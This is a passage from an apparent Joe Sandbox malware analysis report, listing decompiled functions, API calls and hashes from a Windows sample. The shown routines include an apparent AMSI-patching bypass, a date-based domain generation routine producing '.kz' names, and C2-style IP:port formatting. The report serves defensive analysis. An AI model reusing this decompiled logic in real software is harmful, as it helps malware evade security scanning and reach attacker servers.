							 *_t24 = 4;
							L00402438();
							return _t10 | 0xffffffff;
						}
						if(_t10 == 0) {
							goto L5;
						}
						 *_t24 = 4;
						 *_t10();
						return 0xffffffff;
					}
					if(_t10 != 0xc0000093) {
						goto L5;
					}
					L2:
					_t23 = 1;
					goto L3;
				}
				if(_t10 < 0xc000008d) {
					if(_t10 == 0xc0000005) {
						_v24 = 0;
						 *_t24 = 0xb;
						L00402438();
						if(_t10 == 1) {
							_v24 = 1;
							 *_t24 = 0xb;
							L00402438();
							return _t10 | 0xffffffff;
						}
						if(_t10 == 0) {
							goto L5;
						}
						 *_t24 = 0xb;
						 *_t10();
						return 0xffffffff;
					}
					if(_t10 != 0xc000001d) {
						goto L5;
					}
					goto L13;
				}
				goto L2;
			}

0x0040111c
0x00401123
0x00401165
0x004011b4
0x00401131
0x00401131
0x00401139
0x00401140
0x00401148
0x0040123b
0x00401243
0x0040124a
0x00401251
0x00000000
0x00401262
0x00000000
0x00401253
0x00401150
0x004011f0
0x004011f7
0x00000000
0x004011f9
0x00401156
0x00000000
0x00401156
0x0040116c
0x00401186
0x00401186
0x0040118e
0x00401195
0x0040119d
0x00401203
0x0040120b
0x00401212
0x00000000
0x00401217
0x004011a1
0x00000000
0x00000000
0x004011a3
0x004011aa
0x00000000
0x004011ac
0x00401173
0x00000000
0x00000000
0x0040112c
0x0040112c
0x00000000
0x0040112c
0x0040112a
0x0040117d
0x004011bc
0x004011c4
0x004011cb
0x004011d3
0x0040121f
0x00401227
0x0040122e
0x00000000
0x00401233
0x004011d7
0x00000000
0x00000000
0x004011dd
0x004011e4
0x00000000
0x004011e6
0x00401184
0x00000000
0x00000000
0x00000000
0x00401184
0x00000000

APIs

signal.MSVCRT ref: 00401140
signal.MSVCRT ref: 00401195

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: signal
String ID:
API String ID: 1946981877-0
Opcode ID: b9bb587fe7c6cb3023dc2312aa5bc470187502754f4a2d40641746054c1a0613
Instruction ID: ea7fa943b60d7b9f1addb821176663a5204698881c51cde0c619178f84824117
Opcode Fuzzy Hash: b9bb587fe7c6cb3023dc2312aa5bc470187502754f4a2d40641746054c1a0613
Instruction Fuzzy Hash: AB2101701042018AD7247B69854432F76D06B4A328F554B3FE6EAEB3E1C7BDC884975B

Uniqueness

Uniqueness Score: -1.00%

Function 100024F0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryExA.KERNEL32(10004070,00000000,00000800), ref: 10002509
GetProcAddress.KERNEL32(00000000,10004078), ref: 10002525
VirtualProtect.KERNEL32(?,00000004,00000040,?), ref: 10002560
VirtualProtect.KERNEL32(?,00000004,?,?), ref: 10002581

Strings

AMSI, xrefs: 1000254C

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: ProtectVirtual$AddressLibraryLoadProc
String ID: AMSI
API String ID: 3300690313-3828877684
Opcode ID: 39020bfaabfcf144605de5e0a77759fb48e00e494b42d059a3f8fbf759fe6226
Instruction ID: 1f1fccf587520e98a24689dc9d6c387d6eb81e8a4efd5f3f63844951b48620cd
Opcode Fuzzy Hash: 39020bfaabfcf144605de5e0a77759fb48e00e494b42d059a3f8fbf759fe6226
Instruction Fuzzy Hash: 8D111CB4D01209EFEB04CF94CC99BAEBBB4FB48341F208559EA01B7384D7706A40DB59

Uniqueness

Uniqueness Score: -1.00%

Function 04009290 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 21
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E04009290() {
				char _v8;
				_Unknown_base(*)()* _v12;

				_v8 = 0;
				_v12 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "IsWow64Process");
				if(_v12 != 0) {
					_v12(GetCurrentProcess(),  &_v8);
				}
				return _v8;
			}

0x04009296
0x040092b4
0x040092bb
0x040092c8
0x040092c8
0x040092d1

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,IsWow64Process), ref: 040092A7
GetProcAddress.KERNEL32(00000000), ref: 040092AE
GetCurrentProcess.KERNEL32(00000000), ref: 040092C1

Strings

IsWow64Process, xrefs: 0400929D
kernel32.dll, xrefs: 040092A2

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: AddressCurrentHandleModuleProcProcess
String ID: IsWow64Process$kernel32.dll
API String ID: 4190356694-3024904723
Opcode ID: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction ID: 4f9345edf5834c8cb0bc8acfac962fe0122c83c58fee2cee7c9637e45e33d241
Opcode Fuzzy Hash: 38042a03575f21376aceb1f4956717d964388ed776961314cc3b8e9b1f133714
Instruction Fuzzy Hash: D5E09275D04308EBEB04DFF4D94DB9D7B78EB08205F504694E545B2140D6786A54CB51

Uniqueness

Uniqueness Score: -1.00%

Function 040073C0 Relevance: 7.6, APIs: 5, Instructions: 70
registrytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040073C0(long _a4, intOrPtr _a8, intOrPtr _a12) {
				char* _v8;
				void* _v12;
				void* _v16;
				intOrPtr _v20;
				char _v36;
				char _v52;
				long _t24;
				char* _t26;

				if(_a4 != 0 && _a8 != 0 && _a12 != 0) {
					_t24 = _a4;
					if( *((intOrPtr*)(_t24 + 0x10)) != 0) {
						_v20 = E040016F0(_a8, _a12);
						_t26 =  *0x40118a0; // 0x4013b88
						_v8 = _t26;
						E04007D20(_t26,  &_v36, 0, 0x10);
						wsprintfA( &_v36, "%u", _v20);
						_v12 = 0x80000001;
						if(( *0x401435a & 0x000000ff) != 0) {
							_v12 = 0x80000002;
						}
						_v16 = 0;
						_t24 = RegOpenKeyExA(_v12, _v8, 0, 0xf003f,  &_v16);
						if(_t24 == 0) {
							GetLocalTime( &_v52);
							RegSetValueExA(_v16,  &_v36, 0, 3,  &_v52, 0x10);
							return RegCloseKey(_v16);
						}
					}
				}
				return _t24;
			}

0x040073ca
0x040073e4
0x040073eb
0x04007401
0x04007404
0x04007409
0x04007414
0x04007429
0x04007432
0x04007442
0x04007444
0x04007444
0x0400744b
0x04007465
0x0400746d
0x04007473
0x0400748b
0x00000000
0x04007495
0x0400746d
0x040073eb
0x0400749e

APIs

wsprintfA.USER32 ref: 04007429
RegOpenKeyExA.ADVAPI32(80000001,?,00000000,000F003F,00000000), ref: 04007465
GetLocalTime.KERNEL32(?), ref: 04007473
RegSetValueExA.ADVAPI32(00000000,?,00000000,00000003,?,00000010), ref: 0400748B
RegCloseKey.ADVAPI32(00000000), ref: 04007495

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: CloseLocalOpenTimeValuewsprintf
String ID:
API String ID: 3926099652-0
Opcode ID: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction ID: 829c9f2afe597629132b3bb77bbcf1684e2940429f06bc569247a29e29dd4590
Opcode Fuzzy Hash: 5b6941f17f7e1ce7d1a6ef015ad0abb591c00484f45a97b9485d98f3a3167c0d
Instruction Fuzzy Hash: 442112B5900208ABEB14DFA4D849FFE77B8FB48704F048558FA15AB180D77DAA44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 04009650 Relevance: 7.6, APIs: 5, Instructions: 69
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04009650(intOrPtr _a4, intOrPtr _a8, CHAR* _a12, intOrPtr _a16) {
				int _v8;
				intOrPtr _v12;
				char _v20;
				int _v24;
				signed char _v25;
				void* _t58;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0 && _a12 != 0 && _a16 != 0) {
					_v12 = 0;
					_v24 = lstrlenA(_a12);
					while(_v12 < _a8 && _v24 < _a16) {
						_v25 =  *((intOrPtr*)(_a4 + _v12));
						E04007D20(_a4 + _v12,  &_v20, 0, 8);
						E04009560(_v25 & 0x000000ff,  &_v20, 7);
						_t58 = _t58 + 0x18;
						lstrcatA(_a12,  &_v20);
						_v24 = lstrlenA(_a12);
						_v12 = _v12 + 1;
					}
					if(lstrlenA(_a12) > _a16) {
						_a12[_a16] = 0;
					}
					_v8 = lstrlenA(_a12);
				}
				return _v8;
			}

0x04009656
0x04009661
0x04009685
0x04009696
0x04009699
0x040096b1
0x040096bc
0x040096cf
0x040096d4
0x040096df
0x040096ef
0x040096f8
0x040096f8
0x0400970a
0x04009712
0x04009712
0x0400971f
0x0400971f
0x04009728

APIs

lstrlenA.KERNEL32(00000000), ref: 04009690
lstrcatA.KERNEL32(00000000,00000000), ref: 040096DF
lstrlenA.KERNEL32(00000000), ref: 040096E9
lstrlenA.KERNEL32(00000000), ref: 04009701
lstrlenA.KERNEL32(00000000), ref: 04009719

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: lstrlen$lstrcat
String ID:
API String ID: 493641738-0
Opcode ID: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction ID: 5d62f8ff5c671b513c9f4ed5768570a6b0eac4432c67e9f412687076ede29f23
Opcode Fuzzy Hash: 8467699368807e0697c2a8f8d306fbd68601f1d2da39666beca5ff7786e62213
Instruction Fuzzy Hash: 3D213DB1900349EFEB14CFA4D884BEE7BB5FF44305F148558E914A7281D378AA94CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93
memoryCOMMON

Download Yara Rule

C-Code - Quality: 40%

			E00401E1C(void* __eax, void* __ebx, int __ecx, void* __edx, intOrPtr __edi, void* __esi) {
				void* _v16;
				void* _v32;
				char _v36;
				char _v40;
				intOrPtr _v48;
				char* _v60;
				int _v64;
				intOrPtr _v68;
				intOrPtr _v80;
				void* _v84;
				char** _v88;
				signed int _v148;
				void* _t55;
				long _t57;
				signed int _t59;
				void* _t63;
				intOrPtr* _t66;
				intOrPtr _t68;
				signed char* _t70;
				intOrPtr _t74;
				void* _t85;
				intOrPtr* _t87;
				intOrPtr* _t89;
				int _t94;
				intOrPtr _t96;
				signed int _t112;
				void** _t120;
				intOrPtr _t121;
				signed int _t126;
				void* _t141;
				char _t145;
				char** _t150;
				void* _t152;
				intOrPtr* _t153;
				char** _t154;
				char** _t155;
				char** _t162;

				_t122 = __edi;
				_t106 = __edx;
				_t55 = __eax;
				_push(__edi);
				_push(__esi);
				_push(__ebx);
				_t153 = _t152 - 0x4c;
				_t85 = __eax;
				_t141 = __edx;
				if(__ecx != 0) {
					_v84 = 0x1c;
					_v88 =  &_v60;
					 *_t153 = __eax;
					_v64 = __ecx;
					_t57 = VirtualQuery(??, ??, ??);
					_t154 = _t153 - 0xc;
					_t94 = _v64;
					if(_t57 == 0) {
						_v84 = _t85;
						_v88 = 0x1c;
						 *_t154 = "  VirtualQuery failed for %d bytes at address %p";
						E00401DD0(_t85, _t94, _t106, __edi, _t141);
						_t150 = _t154;
						_push(__edi);
						_push(_t141);
						_push(_t85);
						_t155 = _t154 - 0x2c;
						_t59 =  *0x405040;
						if(_t59 == 0) {
							 *0x405040 = 1;
							_t59 = 0;
							if(0x404138 <= 7) {
								goto L11;
							} else {
								_t87 = 0x404138;
								if(0x404138 <= 0xb) {
									L23:
									_t106 =  *_t87;
									if( *_t87 != 0) {
										goto L17;
									} else {
										_t32 = _t87 + 4; // 0x0
										_t59 =  *_t32;
										if(_t59 != 0) {
											goto L17;
										} else {
											goto L25;
										}
									}
								} else {
									_t122 =  *0x404138; // 0x0
									if(_t122 != 0) {
										L17:
										if(_t87 >= 0x404138) {
											goto L11;
										} else {
											do {
												_t30 = _t87 + 4; // 0x0
												_v40 =  *((intOrPtr*)( *_t30 + 0x400000)) +  *_t87;
												_t63 = E00401E1C( *_t30 + 0x400000, _t87, 4,  &_v40,  &_v40, 0x400000);
												_t87 = _t87 + 8;
											} while (_t87 < 0x404138);
											return _t63;
										}
									} else {
										_t141 =  *0x40413c; // 0x0
										if(_t141 == 0) {
											_t94 =  *0x404140; // 0x0
											if(_t94 != 0) {
												L25:
												_t33 = _t87 + 8; // 0x0
												_t59 =  *_t33;
												if(_t59 != 1) {
													_v148 = _t59;
													 *_t155 = "  Unknown pseudo relocation protocol version %d.\n";
													E00401DD0(_t87, _t94, _t106, _t122, _t141);
													_push(_t150);
													_t66 =  *((intOrPtr*)( *0x403020));
													while(_t66 != 0) {
														 *_t66();
														_t68 =  *0x403020;
														 *0x403020 = _t68 + 4;
														_t66 =  *((intOrPtr*)(_t68 + 4));
													}
													return _t66;
												} else {
													_t89 = _t87 + 0xc;
													if(_t89 < 0x404138) {
														do {
															_t34 = _t89 + 4; // 0x0
															_t70 = 0x400000 +  *_t34;
															_t96 =  *_t89;
															_t35 = _t96 + 0x400000; // 0x905a4d
															_t145 =  *_t35;
															_t36 = _t89 + 8; // 0x0
															_t112 =  *_t36 & 0x000000ff;
															if(_t112 == 0x10) {
																_t126 =  *0x400000 & 0x0000ffff;
																if((_t126 & 0x00008000) != 0) {
																	_t122 = (_t126 | 0xffff0000) - _t96 - 0x400000;
																	_v36 = _t145;
																	goto L43;
																} else {
																	goto L34;
																}
															} else {
																if(_t112 == 0x20) {
																	_v36 =  *0x400000 - _t96 - 0x400000 + _t145;
																	goto L39;
																} else {
																	if(_t112 != 8) {
																		_v36 = 0;
																		_v148 = _t112;
																		 *_t155 = "  Unknown pseudo relocation bit size %d.\n";
																		_t70 = E00401DD0(_t89, _t96, _t112, _t122, _t145);
																	}
																	_t126 =  *_t70 & 0x000000ff;
																	if((_t126 & 0x00000080) == 0) {
																		L34:
																		_t122 = _t126 - _t96;
																		_v36 = _t126 - _t96 - 0x400000 + _t145;
																		if(_t112 == 0x10) {
																			L43:
																			E00401E1C(_t70, _t89, 2,  &_v36, _t122, _t145);
																		} else {
																			if(_t112 == 0x20) {
																				L39:
																				E00401E1C(_t70, _t89, 4,  &_v36, _t122, _t145);
																			} else {
																				if(_t112 == 8) {
																					goto L37;
																				}
																			}
																		}
																	} else {
																		_t122 = (_t126 | 0xffffff00) - _t96 - 0x400000;
																		_v36 = _t145;
																		L37:
																		E00401E1C(_t70, _t89, 1,  &_v36, _t122, _t145);
																	}
																}
															}
															_t89 = _t89 + 0xc;
															_t59 = 0x404138;
														} while (0x404138 > _t89);
													}
													goto L11;
												}
											} else {
												_t87 = 0x404144;
												goto L23;
											}
										} else {
											goto L17;
										}
									}
								}
							}
						} else {
							L11:
							return _t59;
						}
					} else {
						_t74 = _v40;
						if(_t74 == 0x40 || _t74 == 4) {
							return memcpy(_t85, _t141, _t94);
						} else {
							_t120 =  &_v32;
							_v80 = _t120;
							_v84 = 0x40;
							_v88 = _v48;
							 *_t154 = _v60;
							_v68 = _t120;
							_v64 = _t94;
							VirtualProtect(??, ??, ??, ??);
							_t55 = memcpy(_t85, _t141, _v64);
							_t162 = _t154 - 0x10 + 0xc;
							_t121 = _v68;
							if(_t55 == 0x40 || _t55 == 4) {
								goto L1;
							} else {
								_v80 = _t121;
								_v84 = _v32;
								_v88 = _v48;
								 *_t162 = _v60;
								return VirtualProtect(??, ??, ??, ??);
							}
						}
					}
				} else {
					L1:
					return _t55;
				}
			}

0x00401e1c
0x00401e1c
0x00401e1c
0x00401e1f
0x00401e20
0x00401e21
0x00401e22
0x00401e25
0x00401e27
0x00401e2b
0x00401e38
0x00401e43
0x00401e47
0x00401e4a
0x00401e4d
0x00401e52
0x00401e57
0x00401e5a
0x00401ee8
0x00401eec
0x00401ef4
0x00401efb
0x00401f01
0x00401f03
0x00401f04
0x00401f05
0x00401f06
0x00401f09
0x00401f10
0x00401f1c
0x00401f2b
0x00401f33
0x00000000
0x00401f35
0x00401f35
0x00401f3d
0x00401fa0
0x00401fa0
0x00401fa4
0x00000000
0x00401fa6
0x00401fa6
0x00401fa6
0x00401fab
0x00000000
0x00000000
0x00000000
0x00000000
0x00401fab
0x00401f3f
0x00401f3f
0x00401f47
0x00401f54
0x00401f5a
0x00000000
0x00401f5c
0x00401f64
0x00401f64
0x00401f6d
0x00401f77
0x00401f7c
0x00401f7f
0x00401f8e
0x00401f8e
0x00401f49
0x00401f49
0x00401f51
0x00401f90
0x00401f98
0x00401fad
0x00401fad
0x00401fad
0x00401fb3
0x004020bb
0x004020bf
0x004020c6
0x004020cc
0x004020d7
0x004020db
0x004020e0
0x004020e2
0x004020ea
0x004020f0
0x004020f3
0x004020f8
0x00401fb9
0x00401fb9
0x00401fc2
0x00401fc8
0x00401fcd
0x00401fcd
0x00401fd0
0x00401fd2
0x00401fd2
0x00401fd8
0x00401fdb
0x00401fe4
0x0040202c
0x00402035
0x004020a0
0x004020a9
0x00000000
0x00000000
0x00000000
0x00000000
0x00401fe6
0x00401fe9
0x00402070
0x00000000
0x00401feb
0x00401fee
0x00401ff0
0x00401ff7
0x00401ffb
0x00402002
0x00402002
0x00402008
0x00402011
0x00402037
0x00402037
0x00402043
0x00402049
0x004020ac
0x004020b4
0x0040204b
0x0040204e
0x00402073
0x0040207b
0x00402050
0x00402053
0x00000000
0x00000000
0x00402053
0x0040204e
0x00402013
0x0040201b
0x00402024
0x00402055
0x0040205d
0x0040205d
0x00402011
0x00401fe9
0x00402080
0x00402083
0x00402088
0x00402090
0x00000000
0x00401fc2
0x00401f9a
0x00401f9a
0x00000000
0x00401f9a
0x00000000
0x00000000
0x00000000
0x00401f51
0x00401f47
0x00401f3d
0x00401f12
0x00401f12
0x00401f19
0x00401f19
0x00401e60
0x00401e60
0x00401e66
0x00401ee7
0x00401e6d
0x00401e6d
0x00401e70
0x00401e74
0x00401e7f
0x00401e86
0x00401e89
0x00401e8c
0x00401e8f
0x00401e9f
0x00401e9f
0x00401ea4
0x00401ea7
0x00000000
0x00401eb2
0x00401eb2
0x00401eb9
0x00401ec0
0x00401ec7
0x00401ed9
0x00401ed9
0x00401ea7
0x00401e66
0x00401e2d
0x00401e2d
0x00401e34
0x00401e34

APIs

VirtualQuery.KERNEL32 ref: 00401E4D
VirtualProtect.KERNEL32 ref: 00401E8F
VirtualProtect.KERNEL32 ref: 00401ECA

Strings

@, xrefs: 00401E74

Memory Dump Source

Source File: 00000000.00000002.558886062.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.558685401.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.558979025.0000000000404000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559069325.0000000000406000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559239825.0000000000409000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.559886186.0000000000420000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_iJzpyjAehB.jbxd

Similarity

API ID: Virtual$Protect$Query
String ID: @
API String ID: 3618607426-2766056989
Opcode ID: f09473ca4629ddbfdfb1bbf95e45a330cf630b9b0dbe34dad6cf56d79bdec4c4
Instruction ID: 06f0d9e29b35e3b38f917c532443f2a712c509407963492828fb5f3299beb3b6
Opcode Fuzzy Hash: f09473ca4629ddbfdfb1bbf95e45a330cf630b9b0dbe34dad6cf56d79bdec4c4
Instruction Fuzzy Hash: B1310BB5D04204AFDB14EFA9D48559EFBF4EB88354F10852EE958E3390E375D840CB96

Uniqueness

Uniqueness Score: -1.00%

Function 040092E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 88
stringtimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E040092E0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				struct _SYSTEMTIME _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				char _v172;
				void* _t46;
				intOrPtr _t50;
				void* _t83;
				void* _t84;
				void* _t86;

				_v8 = 0;
				if(_a4 != 0 && _a8 != 0) {
					GetLocalTime( &_v28);
					_t46 = E040097E0(_v28.wMonth & 0x0000ffff, _v28.wYear & 0x0000ffff, _v28.wMonth & 0x0000ffff, _v28.wDay & 0x0000ffff);
					_t84 = _t83 + 0xc;
					_v12 = _t46 + _a12;
					_v32 = 0;
					while(_v32 < _a8) {
						E04007D20( &_v172,  &_v172, 0, 0x80);
						_t50 = E04008BB0( &_v12, 4,  &_v172, 0x80);
						_t86 = _t84 + 0x1c;
						_v40 = _t50;
						if(_v40 <= 0) {
							_v12 = _v32 * 7 + _v12;
						} else {
							_v12 = _v172;
						}
						_v36 = _v12 % 4 + 9;
						E04009650( &_v172, _v40, _v32 * 0x28 + _a4, _v36);
						_t84 = _t86 + 0x10;
						lstrcatA(_v32 * 0x28 + _a4, ".kz");
						_v12 = _v12 + 1;
						_v8 = _v8 + 1;
						_v32 = _v32 + 1;
					}
				}
				return _v8;
			}

0x040092e9
0x040092f4
0x04009308
0x0400931d
0x04009322
0x04009328
0x0400932b
0x0400933d
0x04009357
0x04009371
0x04009376
0x04009379
0x04009380
0x04009396
0x04009382
0x04009388
0x04009388
0x040093a8
0x040093c4
0x040093c9
0x040093db
0x040093e7
0x040093f0
0x0400933a
0x0400933a
0x0400933d
0x040093fe

APIs

GetLocalTime.KERNEL32(?), ref: 04009308

Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
Part of subcall function 04008BB0: GetLastError.KERNEL32 ref: 04008C09
Part of subcall function 04008BB0: CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
Part of subcall function 04008BB0: CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
Part of subcall function 04008BB0: CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000004,00000000,00000004,00000000), ref: 04008C99
Part of subcall function 04008BB0: CryptGetHashParam.ADVAPI32(00000000,00000002,00000000,?,00000000), ref: 04008CC1
Part of subcall function 04008BB0: CryptDestroyHash.ADVAPI32(00000000), ref: 04008CD5
Part of subcall function 04008BB0: CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008CE1

lstrcatA.KERNEL32(00000000,.kz), ref: 040093DB

Strings

.kz, xrefs: 040093CC

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: Crypt$Hash$Context$AcquireParam$CreateDataDestroyErrorLastLocalReleaseTimelstrcat
String ID: .kz
API String ID: 2740484991-4216035510
Opcode ID: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction ID: bb0d42d70b93f9fb2e2ab601979b3322a165a8cda29c6817b22e5740edda4972
Opcode Fuzzy Hash: 28f090440165364d74cfd4a48749ec745bc8846a55d0f1667de3e46dcaf07841
Instruction Fuzzy Hash: 2D310AB1E00209EBEF08DF94C885BEEB7B5EF58304F10C159E515B7281E678AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 10002430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 10002468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 100024B2

Strings

@, xrefs: 10002453

Memory Dump Source

Source File: 00000000.00000002.607930216.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_iJzpyjAehB.jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: af73fc3a835f5cb9a27c40e94a700fe6bd6fe7a21d246ca72f0d591094e94dd8
Instruction ID: 1bc0fa0ef2482510480b6d00c0adc5d74525c4f8bff966f143e9313f40c37061
Opcode Fuzzy Hash: af73fc3a835f5cb9a27c40e94a700fe6bd6fe7a21d246ca72f0d591094e94dd8
Instruction Fuzzy Hash: 4C21DEB0905249EFEF14CF94C984BAEBBB5FF44384F208599D909A7248C774AF80DB51

Uniqueness

Uniqueness Score: -1.00%

Function 040078D0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E040078D0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				intOrPtr _v20;
				intOrPtr _t31;
				void* _t46;

				_v5 = 0;
				if(_a4 != 0 && _a8 > 0 && _a12 != 0 && _a16 >= _a8) {
					_v16 = 0;
					while(_v16 < _a8) {
						_t31 = E04007B70( &_v12, _v16 * 6 + _a4, 4);
						_push(_v12);
						L0400B1EC();
						_v20 = _t31;
						wnsprintfA(_v16 * 0x28 + _a12, 0x28, "%s:%u", _v20,  *(_a4 + 4 + _v16 * 6) & 0x0000ffff);
						_t46 = _t46 + 0x20;
						_v16 = _v16 + 1;
					}
					_v5 = 1;
				}
				return _v5;
			}

0x040078d6
0x040078de
0x040078f8
0x0400790a
0x04007922
0x0400792d
0x0400792e
0x04007933
0x0400795a
0x04007960
0x04007907
0x04007907
0x04007965
0x04007965
0x0400796f

APIs

inet_ntoa.WS2_32(00000000), ref: 0400792E
wnsprintfA.SHLWAPI ref: 0400795A

Strings

%s:%u, xrefs: 04007949

Memory Dump Source

Source File: 00000000.00000002.599743411.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.599611327.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600083870.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.600248652.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_iJzpyjAehB.jbxd

Similarity

API ID: inet_ntoawnsprintf
String ID: %s:%u
API String ID: 890441721-1474915593
Opcode ID: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction ID: 46ead0e7315176c8e7c3a96679b7c8ac73bfa04a13e8ca702a559205f2d732b6
Opcode Fuzzy Hash: 45e21c9532a10fe3660936149e330ed9fd96ba08dfcacbd0c7ca049c9e07423d
Instruction Fuzzy Hash: 05115B71A04208ABEB08CF94C995BEDBBB4EB50308F04C29DE915BB280D379F645CB91

Uniqueness

Uniqueness Score: -1.00%

Function 04001E60 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44
processCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04001E60(CHAR* _a4) {
				void* _v8;
				struct _PROCESS_INFORMATION _v24;
				struct _STARTUPINFOA _v100;

				_v8 = 0;
				if(_a4 != 0) {
					E04007D20(E04007D20( &_v24,  &_v24, 0, 0x10),  &_v100, 0, 0x44);
					_v100.cb = 0x44;
